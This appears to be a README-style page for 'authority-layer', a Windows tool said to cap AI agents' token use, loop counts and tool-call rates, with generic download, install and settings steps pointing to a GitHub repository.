authority-layer helps you set limits for AI agents. It keeps track of token use, controls tool access, and stops loops that run too long. You can run it on your Windows computer without needing to code.
authority-layer is a software tool that manages how AI agents work. Sometimes, AI agents spend too many tokens, use tools too much, or run endless loops. This tool stops that by setting rules. You get more control over AI without technical setup or cloud limits. authority-layer runs on your Windows PC to keep things safe and efficient.
It works with AI systems that use tokens and tools, mainly those built with Node.js and TypeScript. It offers guardrails for how these agents perform, so you don't worry about sudden or costly errors.
Make sure your Windows PC meets these needs before installing:
- Windows 10 or newer (64-bit preferred)
- At least 4 GB of RAM
- 2 GHz dual-core processor or better
- Minimum 200 MB free space on your hard drive
- Internet connection for initial download and updates
Click the button below to visit the download page. This page has all the files you need.
You will see a list of files and folders. Look for the latest release or the main folder to download. The file you want may be named something like authority-layer.zip or authority-layer-win.exe.
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If you downloaded a
.zipfile:- Right-click the file and select Extract All...
- Choose a folder where you want the software files
- Open that folder after extraction
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If you downloaded an
.exefile:- Double-click the file to start installation
- Follow the on-screen instructions to complete setup
After installation:
- Open the folder where you installed the software
- Double-click
authority-layer.exe(or similar file) - The program window should open, ready to use
The software runs in the background to watch AI agents. You control the following main settings:
- Token Budgets: Limit the number of tokens an AI agent can use in one session. This helps avoid long or expensive queries.
- Loop Limits: Stop an AI agent if it keeps repeating tasks. This prevents getting stuck in endless loops.
- Tool Rate Limits: Control how often AI tools (like calls or external APIs) are used. This manages resource use and avoids overload.
- Open the settings tab in the program.
- Set the token limit, for example, 1,000 tokens per run.
- Set the maximum number of allowed loops, for example, 5.
- Specify how many times tools or APIs can be called per hour.
- Click Save or Apply to activate your limits.
The software will enforce these rules automatically while AI agents run.
- Works offline without relying on cloud services
- Simple interface for setting limits
- Monitors AI token use, loop counts, and tool calls in real time
- Runs locally on Windows without heavy resources
- Designed for AI systems built with Node.js and TypeScript
- Helps avoid runaway behavior in AI agents
- No programming skills needed to set basic controls
- Start with low token and loop limits. Increase if you find the program stopping your AI too soon.
- Check the software logs in the program folder for details on how limits affected your AI agents.
- Keep the software updated by visiting the download page regularly.
- If your AI agent uses many tools, set stricter tool rate limits to prevent overload.
- Restart the software after changing settings to ensure limits apply immediately.
- Use the Issues section on the GitHub page if you find bugs or problems.
- Check the Wiki or README files on the download page for detailed instructions.
- Join community forums or chats related to AI agents and runtime controls for tips.
- Review the GitHub page for updates and new releases.
Visit this page to download authority-layer:
https://github.com/Yasergit/authority-layer
Select the latest release or main folder and download the .exe or .zip file for Windows. Follow the installation steps above to get started.
authority-layer runs fully on your machine. No data is sent to external servers. You keep control of your AI agents and their data at all times. This helps protect your information and reduces risks of cloud dependency.